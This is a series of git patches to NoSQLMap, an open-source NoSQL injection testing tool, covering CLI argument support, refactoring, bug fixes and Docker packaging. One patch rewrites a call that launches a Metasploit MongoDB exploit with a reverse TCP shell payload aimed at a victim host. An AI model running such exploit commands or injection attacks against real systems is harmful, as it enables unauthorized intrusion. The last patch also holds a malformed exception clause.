try: - injIndex = raw_input("Which parameter should we inject? ") + injIndex = 1 + if args == None: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: - raw_input("Something went wrong. Press enter to return to the main menu...") + if args == None: + raw_input("Something went wrong. Press enter to return to the main menu...") return - sizeSelect = True + + sizeSelect = (args == None) + injectSize = 1000 while sizeSelect: injectSize = raw_input("Baseline test-Enter random string size: ") - if injectSize.isdigit(): - sizeSelect = False - else: + sizeSelect = not injectSize.isdigit() + if sizeSelect: print "Invalid! The size should be an integer." injectString = randInjString(int(injectSize)) @@ -454,7 +479,6 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" - else: print "Sending random parameter value..." @@ -641,7 +665,9 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum += 1 print "\n" - doTimeAttack = raw_input("Start timing based tests (y/n)? ") + doTimeAttack = "N" + if args == None: + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." @@ -849,28 +875,29 @@ def randInjString(size): while format: format = raw_input("Select an option: ") + if format not in ["1", "2", "3", "4"]: + format = True + print "Invalid selection." + return format - if format == "1": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) - - elif format == "2": - chars = string.ascii_letters - return ''.join(random.choice(chars) for x in range(size)) +def build_random_string(format, size): + if format == "1": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) - elif format == "3": - chars = string.digits - return ''.join(random.choice(chars) for x in range(size)) + elif format == "2": + chars = string.ascii_letters + return ''.join(random.choice(chars) for x in range(size)) - elif format == "4": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' - else: - format = True - print "Invalid selection." + elif format == "3": + chars = string.digits + return ''.join(random.choice(chars) for x in range(size)) + else: # format == "4": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' -def buildUri(origUri, randValue): +def buildUri(origUri, randValue, args=None): paramName = [] paramValue = [] global uriArray @@ -898,7 +925,10 @@ def buildUri(origUri, randValue): menuItem += 1 try: - injIndex = raw_input("Enter parameters to inject in a comma separated list: ") + if args == None: + injIndex = raw_input("Enter parameters to inject in a comma separated list: ") + else: + injIndex = args.params for params in injIndex.split(","): injOpt.append(paramName[int(params)-1]) From 7a0d452cb3d11d951e9450895076ef4bcc40af3e Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 18:09:22 +0200 Subject: [PATCH 15/43] Add more parameter for the web app scan --- nosqlmap.py | 5 +-- nsmweb.py | 89 ++++++++++++++++++++++++----------------------------- 2 files changed, 44 insertions(+), 50 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index dd7dbf5..4d1b733 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -516,9 +516,10 @@ def build_parser(): parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] - for module in modules: + for module in modules: + group = parser.add_argument_group(module.__name__) for arg in module.args(): - parser.add_argument(arg[0], help=arg[1]) + group.add_argument(arg[0], help=arg[1]) return parser diff --git a/nsmweb.py b/nsmweb.py index 36b825d..4bb00ce 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -19,12 +19,37 @@ ssl._create_default_https_context = ssl._create_unverified_context +def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack): + fo = open(savePath, "wb") + fo.write ("Vulnerable URLs:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable URLs:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") + + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") + + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + def args(): return [ + ["--injectedParameter", "Parameter to be injected"], ["--injectSize", "Size of payload"], ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], ["--params", "Enter parameters to inject in a comma separated list"], - ["--doTimeAttack", "Start timing based tests (y/n)"]] + ["--doTimeAttack", "Start timing based tests (y/n)"], + ["--savePath", "output file name"]] def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): print "Web App Attacks (GET)" @@ -75,7 +100,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - else: print "App is up!" appUp = True @@ -342,31 +366,14 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if args == None: fileOut = raw_input("Save results to file (y/n)? ") else: - fileOut = "n" + fileOut = "y" if args.savePath else "n" if fileOut.lower() == "y": - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable URLs:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable URLs:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") + if args == None: + savePath = raw_input("Enter output file name: ") else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() + savePath = args.savePath + save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) if args == None: raw_input("Press enter to continue...") @@ -450,10 +457,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): menuItem += 1 try: - injIndex = 1 if args == None: injIndex = raw_input("Which parameter should we inject? ") - + else: + injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: @@ -729,31 +736,17 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file (y/n)? ") + if args == None: + fileOut = raw_input("Save results to file (y/n)? ") + else: + fileOut = "y" if args.savePath else "n" if fileOut.lower() == "y": - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable Requests:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable Requests:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") + if args == None: + savePath = raw_input("Enter output file name: ") else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() + savePath = args.savePath + save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) raw_input("Press enter to continue...") return() From d351d1481570bc2bfad12c7966ca68255114cd2b Mon Sep 17 00:00:00 2001 From: Cotonne Date: Tue, 18 Sep 2018 18:23:15 +0200 Subject: [PATCH 16/43] Add support for App Web POST request --- nsmweb.py | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4bb00ce..b2c649b 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -113,7 +113,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if appUp == True: if args == None: - sizeSelect = not injectSize.isdigit() + sizeSelect = True while sizeSelect: injectSize = raw_input("Baseline test-Enter random string size: ") @@ -389,7 +389,7 @@ def getResponseBodyHandlingErrors(req): return responseBody -def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): +def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None): print "Web App Attacks (POST)" print "===============" paramName = [] @@ -468,17 +468,22 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Something went wrong. Press enter to return to the main menu...") return + if args == None: + sizeSelect = True - sizeSelect = (args == None) - injectSize = 1000 + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = not injectSize.isdigit() + if sizeSelect: + print "Invalid! The size should be an integer." - while sizeSelect: - injectSize = raw_input("Baseline test-Enter random string size: ") - sizeSelect = not injectSize.isdigit() - if sizeSelect: - print "Invalid! The size should be an integer." + format = randInjString(int(injectSize)) + else: + injectSize = int(args.injectSize) + format = args.injectFormat + + injectString = build_random_string(format, injectSize) - injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. @@ -747,8 +752,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: savePath = args.savePath save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) - - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() From 4aebe343c27593972b571ca74c7b94c38dba3284 Mon Sep 17 00:00:00 2001 From: CaptainFreak Date: Sat, 13 Oct 2018 10:05:35 +0530 Subject: [PATCH 17/43] Fixed bugs in choosing payload length and format --- nsmweb.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index b2c649b..554f699 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -125,7 +125,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: injectSize = int(args.injectSize) format = args.injectFormat - + + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" @@ -869,13 +870,13 @@ def randInjString(size): print "2-Letters only" print "3-Numbers only" print "4-Email address" - format = True - while format: + while True: format = raw_input("Select an option: ") if format not in ["1", "2", "3", "4"]: - format = True print "Invalid selection." + else: + break return format def build_random_string(format, size): From 3db58aedc82ab9ed2e93a464c300f341f79ab7cc Mon Sep 17 00:00:00 2001 From: tripleee Date: Tue, 30 Oct 2018 10:23:52 +0200 Subject: [PATCH 18/43] Avoid shell=True in subprocess.call() The code doesn't need the shell for anything so this should be more efficient, as well as potentially more secure, and hopefully instructive for readers of the code. See also https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess --- nsmmongo.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmmongo.py b/nsmmongo.py index c01e410..ee61e02 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -338,7 +338,7 @@ def enumDbs (mongoConn): def msfLaunch(): try: - proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) + proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) except: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." From d521e671f712d884fa8b3b592b592cba3eaf877f Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:08:31 -0500 Subject: [PATCH 19/43] Added Docker files. --- docker/Dockerfile | 15 +++++++++++++++ docker/entrypoint.sh | 2 ++ 2 files changed, 17 insertions(+) create mode 100644 docker/Dockerfile create mode 100644 docker/entrypoint.sh diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..3882f3d --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,15 @@ +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y python python-pip git mongodb + +RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap + +WORKDIR /root/NoSqlMap + +RUN python setup.py install + +COPY entrypoint.sh /tmp/entrypoint.sh + +RUN chmod +x /tmp/entrypoint.sh + +ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh new file mode 100644 index 0000000..f424d72 --- /dev/null +++ b/docker/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/bash +exec python nosqlmap.py From 69c7e7cd4414fc94a16c57b624c186d96b8ccbfe Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:14:17 -0500 Subject: [PATCH 20/43] Updated README for Docker --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c3c5174..82e79d2 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,10 @@ There are some various other libraries required that a normal Python installatio ``` python setup.py install ``` - +Alternatively you can build a Docker image by changing to the docker directory and entering: +``` +docker build -t nosqlmap . +``` ## Usage Instructions Start with ``` From 9a792221dc112d1069d94ac9c4c175811538d12c Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:12:01 -0400 Subject: [PATCH 21/43] fixed injectSize type error for Post attacks --- nsmweb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nsmweb.py b/nsmweb.py index 554f699..e2fcc77 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -483,6 +483,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injectSize = int(args.injectSize) format = args.injectFormat + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" From de427caa8c93d2512e3dcd99b3771adc48e3ed30 Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:24:24 -0400 Subject: [PATCH 22/43] remove trailing newlines and carriage return from parsed burp file --- nosqlmap.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4d1b733..8af85f0 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -473,9 +473,11 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r\n","") + victim = reqData[1].split( " ")[1].replace("\r","") + victim = victim.replace("\n","") optionSet[0] = True - uri = methodPath[1].replace("\r\n","") + uri = methodPath[1].replace("\r","") + uri = uri.replace("\n","") optionSet[2] = True elif select == "b": From a86d2309ee997803d847d57318c718cc2b74269d Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 15:14:21 -0400 Subject: [PATCH 23/43] remove ALL trailing newlines/CRs as soon as possible from parsed file. Also use 'with' to open files, to ensure file is automatically closed --- nosqlmap.py | 96 +++++++++++++++++++++++++++-------------------------- 1 file changed, 49 insertions(+), 47 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8af85f0..1ae2e63 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -400,46 +400,51 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") + cvsOpt = [] try: - fo = open(loadPath,"r" ) - csvOpt = fo.readlines() - fo.close() - optList = csvOpt[0].split(",") - victim = optList[0] - webPort = optList[1] - uri = optList[2] - httpMethod = optList[3] - myIP = optList[4] - myPort = optList[5] - verb = optList[6] - https = optList[7] + with open(loadPath,"r") as fo: + for line in fo: + cvsOpt.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) + raw_input("error reading file. Press enter to continue...") + return + + optList = csvOpt[0].split(",") + victim = optList[0] + webPort = optList[1] + uri = optList[2] + httpMethod = optList[3] + myIP = optList[4] + myPort = optList[5] + verb = optList[6] + https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 + + if httpMethod == "POST": + postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 - # saved headers position will depend of the request verb - headersPos= 1 - - if httpMethod == "POST": - postData = ast.literal_eval(csvOpt[1]) - headersPos = 2 - - requestHeaders = ast.literal_eval(csvOpt[headersPos]) - - # Set option checking array based on what was loaded - x = 0 - for item in optList: - if item != "Not Set": - optionSet[x] = True - x += 1 - except: - print "Couldn't load options file!" + requestHeaders = ast.literal_eval(csvOpt[headersPos]) + + # Set option checking array based on what was loaded + x = 0 + for item in optList: + if item != "Not Set": + optionSet[x] = True + x += 1 elif select == "a": loadPath = raw_input("Enter path to Burp request file: ") - + reqData = [] try: - fo = open(loadPath,"r") - reqData = fo.readlines() - - except: + with open(loadPath,"r") as fo: + for line in fo: + reqData.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") return @@ -473,25 +478,22 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r","") - victim = victim.replace("\n","") + victim = reqData[1].split( " ")[1] optionSet[0] = True - uri = methodPath[1].replace("\r","") - uri = uri.replace("\n","") + uri = methodPath[1] optionSet[2] = True elif select == "b": savePath = raw_input("Enter file name to save: ") try: - fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) - - if httpMethod == "POST": - fo.write(",\n"+ str(postData)) - fo.write(",\n" + str(requestHeaders) ) - fo.close() - print "Options file saved!" - except: + with open(savePath, "wb") as fo: + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) + fo.write(",\n" + str(requestHeaders) ) + print "Options file saved!" + except IOError: print "Couldn't save options file." elif select == "h": From 77a91f9e03f569db469549ee196dc95664c3ddb9 Mon Sep 17 00:00:00 2001 From: kaixiang ren Date: Sun, 26 May 2019 18:09:29 +1000 Subject: [PATCH 24/43] fixed bug postData undefined related issue #83, #84 --- nosqlmap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1ae2e63..33e78d2 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -137,7 +137,7 @@ def build_post_data(postDataIn): return postData def attack(args): - platform = args.platform + platform = args.platform victim = args.victim webPort = args.webPort dbPort = args.dbPort @@ -149,7 +149,7 @@ def attack(args): httpMethod = args.httpMethod requestHeaders = build_request_headers(args.requestHeaders) postData = build_post_data(args.postData) - + if args.attack == 1: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) @@ -337,7 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - build_post_data(postDataIn) + postData = build_post_data(postDataIn) httpMethod = "POST" else: @@ -419,14 +419,14 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] - + # saved headers position will depend of the request verb headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) headersPos = 2 - + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded @@ -512,7 +512,7 @@ def build_parser(): parser.add_argument("--myIP",help="Set my local platform/Shell IP") parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) - parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") @@ -524,7 +524,7 @@ def build_parser(): group = parser.add_argument_group(module.__name__) for arg in module.args(): group.add_argument(arg[0], help=arg[1]) - + return parser def signal_handler(signal, frame): From 3c7895ded3eefc3396c7db12063e1994ae4b8fab Mon Sep 17 00:00:00 2001 From: Gabriel Barbosa <37980500+gabu-b@users.noreply.github.com> Date: Wed, 29 May 2019 17:38:14 -0300 Subject: [PATCH 25/43] Update Set App Path Module to Accept Null Values --- nosqlmap.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 33e78d2..9ddd8bb 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -296,10 +296,15 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") - #Ensuring the URI path always starts with / and causes less errors - if uri[0] != "/": + #Ensuring the URI path always starts with / and accepts null values + if len(uri) == 0: + uri = "Not Set" + print "\nURI Not Set." "\n" + optionSet[2] = False + + elif uri[0] != "/": uri = "/" + uri - print "\nURI Path set to " + uri + "\n" + print "\nURI Path set to " + uri + "\n" optionSet[2] = True elif select == "4": From 73a45349e4ab593fb7b7808d066ee77ce88c87da Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Mon, 8 Jul 2019 17:34:47 +1000 Subject: [PATCH 26/43] Create FUNDING.yml --- .github/FUNDING.yml | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..33a48a1 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,12 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +custom: PayPal.Me/codingo From 1ccd177b3e0be4aba1cb547b9d4cfd803f8d0f08 Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Tue, 9 Jul 2019 12:50:36 +1000 Subject: [PATCH 27/43] Update setup.py --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 27de04e..aab887a 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.5.0"], + "requests==2.20.0"], author = "tcstool", author_email = "codingo@protonmail.com", From 049de70ab3478a2530778062586f27e9ae873f49 Mon Sep 17 00:00:00 2001 From: Anton Bolshakov Date: Tue, 13 Aug 2019 11:01:19 +0800 Subject: [PATCH 28/43] nosqlmap.py: invalid header "coding" should come in the second line, see: https://www.python.org/dev/peps/pep-0263/ --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9ddd8bb..c0db07d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ -# -*- coding: utf-8 -*- #!/usr/bin/python +# -*- coding: utf-8 -*- # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission From a86e08b48a550ccacb8effa6c400af780c821832 Mon Sep 17 00:00:00 2001 From: August Date: Wed, 6 Nov 2019 17:54:08 -0800 Subject: [PATCH 29/43] Set request headers Fixes #88 --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..6640c0b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -503,7 +503,7 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - build_request_headers(reqHeadersIn) + requestHeaders = build_request_headers(reqHeadersIn) elif select == "x": return From 4ebd59a536930e53a0e07215123ed570c42fcd80 Mon Sep 17 00:00:00 2001 From: Kevin Date: Fri, 8 Nov 2019 01:18:32 +0200 Subject: [PATCH 30/43] Fixed loading options from file --- nosqlmap.py | 4 ++-- saved_options.txt | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 saved_options.txt diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..af22e55 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -405,11 +405,11 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") - cvsOpt = [] + csvOpt = [] try: with open(loadPath,"r") as fo: for line in fo: - cvsOpt.append(line.rstrip()) + csvOpt.append(line.rstrip()) except IOError as e: print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") diff --git a/saved_options.txt b/saved_options.txt new file mode 100644 index 0000000..ced64ac --- /dev/null +++ b/saved_options.txt @@ -0,0 +1,3 @@ +10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, +{'CompanyName': 'test'}, +{} \ No newline at end of file From 9ba34ece84db12230d1b371ebd507013052f33cd Mon Sep 17 00:00:00 2001 From: Kevin Schmidt Date: Fri, 8 Nov 2019 01:27:43 +0200 Subject: [PATCH 31/43] Delete saved_options.txt --- saved_options.txt | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 saved_options.txt diff --git a/saved_options.txt b/saved_options.txt deleted file mode 100644 index ced64ac..0000000 --- a/saved_options.txt +++ /dev/null @@ -1,3 +0,0 @@ -10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, -{'CompanyName': 'test'}, -{} \ No newline at end of file From 04758345da18dce7d9db4f843fbee6d4ec19c467 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:21:27 +0100 Subject: [PATCH 32/43] added docker-compose, switched from ubuntu to alpine, entrypoint working --- docker/Dockerfile | 7 ++++--- docker/docker-compose.yml | 6 ++++++ docker/entrypoint.sh | 4 ++-- 3 files changed, 12 insertions(+), 5 deletions(-) create mode 100644 docker/docker-compose.yml diff --git a/docker/Dockerfile b/docker/Dockerfile index 3882f3d..511d0a8 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,6 +1,8 @@ -FROM ubuntu:latest +FROM python:2.7-alpine -RUN apt-get update && apt-get install -y python python-pip git mongodb +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories +RUN apk update && apk add mongodb git RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap @@ -9,7 +11,6 @@ WORKDIR /root/NoSqlMap RUN python setup.py install COPY entrypoint.sh /tmp/entrypoint.sh - RUN chmod +x /tmp/entrypoint.sh ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000..dc505f6 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,6 @@ +version: "3" +services: + nosqlmap: + image: nosqlmap:latest + build: + context: . diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh index f424d72..eb9b8b4 100644 --- a/docker/entrypoint.sh +++ b/docker/entrypoint.sh @@ -1,2 +1,2 @@ -#!/bin/bash -exec python nosqlmap.py +#!/bin/ash +python nosqlmap.py From 6a9acf44005e223cd843f69f84cca7f4ae044728 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:25:08 +0100 Subject: [PATCH 33/43] readme updated --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 82e79d2..6841632 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,12 @@ Alternatively you can build a Docker image by changing to the docker directory a ``` docker build -t nosqlmap . ``` + +or you can use Docker-compose to run Nosqlmap: +``` +docker-compose build +docker-compose run nosqlmap +``` ## Usage Instructions Start with ``` From e0bf5a45cb007d7cb82f4a0d67851964718031df Mon Sep 17 00:00:00 2001 From: Ben Date: Wed, 8 Apr 2020 18:41:10 -0400 Subject: [PATCH 34/43] Added base exception class NoSQLMapException inside exception.py. --- exception.py | 6 ++++++ nosqlmap.py | 3 ++- nsmcouch.py | 21 +++++++++++---------- nsmmongo.py | 29 +++++++++++++++-------------- nsmscan.py | 7 ++++--- nsmweb.py | 11 ++++++----- 6 files changed, 44 insertions(+), 33 deletions(-) create mode 100644 exception.py diff --git a/exception.py b/exception.py new file mode 100644 index 0000000..72659c8 --- /dev/null +++ b/exception.py @@ -0,0 +1,6 @@ +#!/usr/bin/python +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + +class NoSQLMapException(Exception): + pass diff --git a/nosqlmap.py b/nosqlmap.py index 0f70ab4..1aac75d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -3,6 +3,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import sys import nsmcouch import nsmmongo @@ -279,7 +280,7 @@ def options(): print "Bad octet in IP address." goodDigits = False - except: + except NoSQLMapException("[!] Must be a DNS name."): #Must be a DNS name (for now) notDNS = False diff --git a/nsmcouch.py 